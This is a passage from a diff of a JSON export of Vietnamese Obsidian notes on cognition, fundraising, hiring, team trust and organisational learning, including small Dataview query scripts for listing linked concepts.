"Ngôn ngữ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ngôn ngữ", + "Tiêu đề": "Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n\nKhông có thời gian viết ngắn được", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "M6" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MK" }, { - "Tiêu đề": "Nhận thức", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Nhận thức", + "Tiêu đề": "Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "M7" + "Ngày cập nhật": "2023-12-08T06:11:00.000Z", + "id": "ML" }, { - "Tiêu đề": "Não", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Não", + "Tiêu đề": "Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò]] \nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "M8" + "Ngày cập nhật": "2023-12-08T06:11:00.000Z", + "id": "MM" }, { - "Tiêu đề": "Phân loại", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Phân loại", + "Tiêu đề": "Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Người ta vẫn nói muốn đi xa thì đi cùng nhau. Nhưng ai sẽ là người muốn đi cùng mình? Mà kể cả muốn đi rồi thì ai sẽ đủ rảnh để đi, khi mà mình không có nhiều tiền?\n[[Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:44:00.000Z", - "id": "M9" + "Ngày tạo": "2023-06-25T10:40:00.000Z", + "Ngày cập nhật": "2023-12-14T06:02:00.000Z", + "id": "MN" }, { - "Tiêu đề": "Trải nghiệm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Trải nghiệm", + "Tiêu đề": "Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai]]\n\nNguồn:: [[Y Combinator]], ![Lecture 2 - Team and Execution (Sam Altman) - YouTube](https://youtu.be/CVfnkM44Urs?si=5Rvq99gMgEKSKcnO)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "MA" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MO" }, { - "Tiêu đề": "Trực giác", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Trực giác", + "Tiêu đề": "Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Minh bạch]]\n\nNguồn:: [[Y Combinator]], ![Lecture 15 - How to Manage (Ben Horowitz) - YouTube](https://youtu.be/uVhTvQXfibU?si=X55G7g_lyph-oIMv&t=786)\n[[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "MB" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MP" }, { - "Tiêu đề": "Văn bản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Văn bản", + "Tiêu đề": "Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: \n[[Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "MC" + "Ngày tạo": "2023-06-09T05:01:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MQ" }, { - "Tiêu đề": "Vật thể", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Vật thể", + "Tiêu đề": "Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Minh bạch]], [[Tin tưởng]]\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]\n\nKhái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "MD" + "Ngày cập nhật": "2023-12-30T07:47:00.000Z", + "id": "MR" }, { - "Tiêu đề": "Ý tưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ý tưởng", + "Tiêu đề": "Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Văn hoá]]\n\nNguồn:: [[Y Combinator]], ![Lecture 10 - Culture (Brian Chesky, Alfred Lin) - YouTube](https://www.youtube.com/watch?v=RfWgVWGEuGE)\n[[Văn hoá là một tập hợp các văn bản]]. [[Văn hoá có liên quan chặt chẽ đến biểu tượng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:41:00.000Z", - "id": "ME" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MS" }, { - "Tiêu đề": "Đánh đổi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Đánh đổi", + "Tiêu đề": "Chuyển giao tri thức rất khó khăn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Chuyển giao tri thức rất khó khăn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "MF" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-08T06:13:00.000Z", + "id": "MT" }, { - "Tiêu đề": "Ẩn dụ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ẩn dụ", + "Tiêu đề": "Nếu thất bại nhanh hơn thì sẽ học nhanh hơn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Nếu thất bại nhanh hơn thì sẽ học nhanh hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "[[Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T14:54:00.000Z", - "id": "MG" + "Ngày tạo": "2023-06-11T03:30:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MU" }, { - "Tiêu đề": "Gây quỹ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Gây quỹ", + "Tiêu đề": "Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xem thêm:: [[Quỹ]], [[Quỹ, gọi vốn]]\n```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```\n![[Tìm kiếm và tiếp cận nhà tài trợ tiềm năng.pdf]]\n# Chuẩn bị\n## Xác định nhà tài trợ tiềm năng\n- Chính quyền cơ sở\n- Doanh nghiệp (tại địa phương, trong nước và nước ngoài)\n- Các quỹ đặc biệt của chính phủ\n- Tổ chức phi chính phủ trong nước và quốc tế\n- Đại sứ quán nước ngoài\n- Các Quỹ tài trợ trong nước và quốc tế\n- Tổ chức tôn giáo, xã hội, nghề nghiệp và các quỹ từ thiện\n- Cơ quan truyền thông đại chúng\n- Cá nhân\n## Tìm kiếm nhà tài trợ\n- Liên hệ với cơ quan liên quan\n- Sử dụng các danh bạ điện thoại, sách báo, tạp chí\n- Liên hệ với Sở Ngoại vụ, Sở Kế hoạch đầu tư của tỉnh\n- Sử dụng Internet để tìm kiếm thông tin về nhà tài trợ\n- Tận dụng tối đa các mối quan hệ cá nhân để tìm nguồn tài trợ\n- Các tờ rơi thông tin của các tổ chức tài trợ\n## Phân tích nhà tài trợ tiềm năng\n- Khả năng tài trợ (điểm mạnh của họ là gì?)\n- Ưu tiên (lĩnh vực chuyên môn, vùng địa lý)\n- Sở thích (Thích cùng tham gia quản lý dự án, v.v)\n- Họ mong muốn được lợi gì qua việc tài trợ (Được quảng bá tên tuổi, giải ngân, v.v)\n- Yếu tố tác động đến việc ra quyết định tài trợ\n## Xây dựng ý tưởng vận động\n- Hoạt động/ nhóm hoạt động nào trong dự án/ chương trình có thể “ hấp dẫn” nhà tài trợ tiềm năng đã xác định? Nhà tài trợ sẽ có lợi gì từ việc tài trợ này?\n- Mức tài trợ cho hoạt động/ nhóm hoạt động đó có tương đương với khả năng và quy định về tài trợ của nhà tài trợ tiềm năng không?\n- Có thể có những hình thức tài trợ nào đối với hoạt động/ nhóm hoạt động đó? Hình thức nào sẽ thuận tiện nhất/ phù hợp nhất đối với nhà tài trợ tiềm năng?\n- Nhà tài trợ sẽ có thể giám sát đánh giá việc sử dụng tiền tài trợ bằng những cách nào?\n# Tiếp cận\n\n\n❓:: [[Có những cách gây quỹ nào cho quá trình tích lũy kiến thức ban đầu?Có những quỹ nghiên cứu nào cho những người làm hoạt động?]] \n", + "Toàn bộ nội dung": "[[Nếu thất bại nhanh hơn thì sẽ học nhanh hơn]]\r\nNguồn:: [[ABG Open Special 2023]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T17:57:00.000Z", - "Ngày cập nhật": "2024-07-29T07:12:00.000Z", - "id": "MH" + "Ngày tạo": "2023-06-11T03:25:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MV" }, { - "Tiêu đề": "Hỗ trợ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Hỗ trợ", + "Tiêu đề": "Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Giao tiếp chốn văn phòng: Nói thẳng nói thật hay nói một hiểu mười? | Vietcetera](https://vietcetera.com/vn/giao-tiep-chon-van-phong-noi-thang-noi-that-hay-noi-mot-hieu-muoi)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T06:57:00.000Z", - "id": "MI" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-06-25T06:32:00.000Z", + "id": "MW" }, { - "Tiêu đề": "Quan sát tham dự", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Quan sát tham dự", + "Tiêu đề": "❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\nNguồn:: [[Nguyễn Đức Lộc]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Vai trò (role)]]\n\nSẽ có những người chỉ làm cho xong trách nhiệm,và có những người sẵn sàng nhận thêm việc dù không phải trách nhiệm của mình. Định nghĩa thành viên nòng cốt thông qua trách nhiệm xem ra không hợp lý cho lắm", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:45:00.000Z", - "id": "MJ" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MX" }, { - "Tiêu đề": "backup", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/backup", + "Tiêu đề": "❓Học qua dự án hay học bài bản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/❓Học qua dự án hay học bài bản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xem thêm:: [[Ưu tiên]]\n```dataviewjs\nconst kháiNiệmHiệnTại = dv.current().file.name\nconst inlinks = dv.current().file.inlinks\nconst dsKháiNiệmLiênQuan = []\nfor (const inlink of inlinks) {\n const kháiNiệmCủaInlink = dv.page(inlink)[\"Khái niệm\"]\n if (Array.isArray(kháiNiệmCủaInlink)) {\n dsKháiNiệmLiênQuan.push(...kháiNiệmCủaInlink)\n } else {\n dsKháiNiệmLiênQuan.push(kháiNiệmCủaInlink)\n } \n}\nconst dsKháiNiệmLiênQuanKhôngBịLặp = [] \nfor (const i of dsKháiNiệmLiênQuan) {\n if (!dsKháiNiệmLiênQuanKhôngBịLặp.includes(i.path)){\n dsKháiNiệmLiênQuanKhôngBịLặp.push(i.path) \n } \n} \ndv.span(dsKháiNiệmLiênQuanKhôngBịLặp)\nconsole.log(dsKháiNiệmLiênQuanKhôngBịLặp)\n```\n\nWHERE contains(khái-niệm, [[]])\nLIST\n```\n```dataview", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-30T03:23:00.000Z", - "id": "MK" + "Ngày tạo": "2023-10-22T14:45:00.000Z", + "Ngày cập nhật": "2024-09-02T17:43:00.000Z", + "id": "MY" }, { - "Tiêu đề": "Công việc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Công việc", + "Tiêu đề": "Chú ý", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Chú ý", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T10:50:00.000Z", - "id": "ML" + "Ngày tạo": "2024-09-07T14:40:00.000Z", + "Ngày cập nhật": "2024-09-07T14:40:00.000Z", + "id": "MZ" }, { - "Tiêu đề": "Kế hoạch", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Kế hoạch", + "Tiêu đề": "Cân bằng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Cân bằng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataviewjs\nconst inlinks = dv.current().file.inlinks\nconst linkList = []\nfor (const inlink of inlinks) {\n const data = dv.page(inlink)[\"Khái niệm\"]\n if (!Array.isArray(data)) {\n linkList.push(data)\n } \n}\nconst result = [] \nconsole.log(inlinks)\nconsole.log(linkList)\nfor (const i of linkList) {\n result.push(i.path) \n console.log(\"result\", result)\n} \ndv.span(result)\n```\n\n[[backup]]", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-08-02T12:28:00.000Z", - "id": "MM" + "Ngày tạo": "2024-09-07T14:08:00.000Z", + "Ngày cập nhật": "2024-09-07T14:08:00.000Z", + "id": "Ma" }, { - "Tiêu đề": "Phi tuyến", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Phi tuyến", + "Tiêu đề": "Công cụ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Công cụ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:46:00.000Z", - "id": "MN" + "Ngày tạo": "2024-08-28T06:49:00.000Z", + "Ngày cập nhật": "2024-08-28T06:49:00.000Z", + "id": "Mb" }, { - "Tiêu đề": "Quỹ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Quỹ", + "Tiêu đề": "Game hoá", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Game hoá", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xem thêm:: [[Gây quỹ]], [[Quỹ, gọi vốn]]\n```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```\n", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T07:12:00.000Z", - "id": "MO" + "Ngày tạo": "2024-08-02T08:24:00.000Z", + "Ngày cập nhật": "2024-08-02T08:24:00.000Z", + "id": "Mc" }, { - "Tiêu đề": "Sản phẩm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Sản phẩm", + "Tiêu đề": "Học", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23050,29 +23275,29 @@ "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T06:46:00.000Z", - "id": "MP" + "Ngày tạo": "2024-08-01T17:59:00.000Z", + "Ngày cập nhật": "2024-08-01T17:59:00.000Z", + "id": "Md" }, { - "Tiêu đề": "Thước đo, đo lường, chỉ số, KPI", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Thước đo, đo lường, chỉ số, KPI", + "Tiêu đề": "Hỏi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Hỏi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nList\nwhere contains(khái-niệm,[[]]) \n```", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T17:57:00.000Z", - "Ngày cập nhật": "2024-07-29T06:46:00.000Z", - "id": "MQ" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-31T14:08:00.000Z", + "id": "Me" }, { - "Tiêu đề": "Đơn giản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Đơn giản", + "Tiêu đề": "Chuyên gia", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Chuyên gia", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23083,44 +23308,44 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:46:00.000Z", - "id": "MR" + "Ngày cập nhật": "2024-07-29T06:45:00.000Z", + "id": "Mf" }, { - "Tiêu đề": "Ưu tiên", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Ưu tiên", + "Tiêu đề": "Chuyên nghiệp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Chuyên nghiệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ 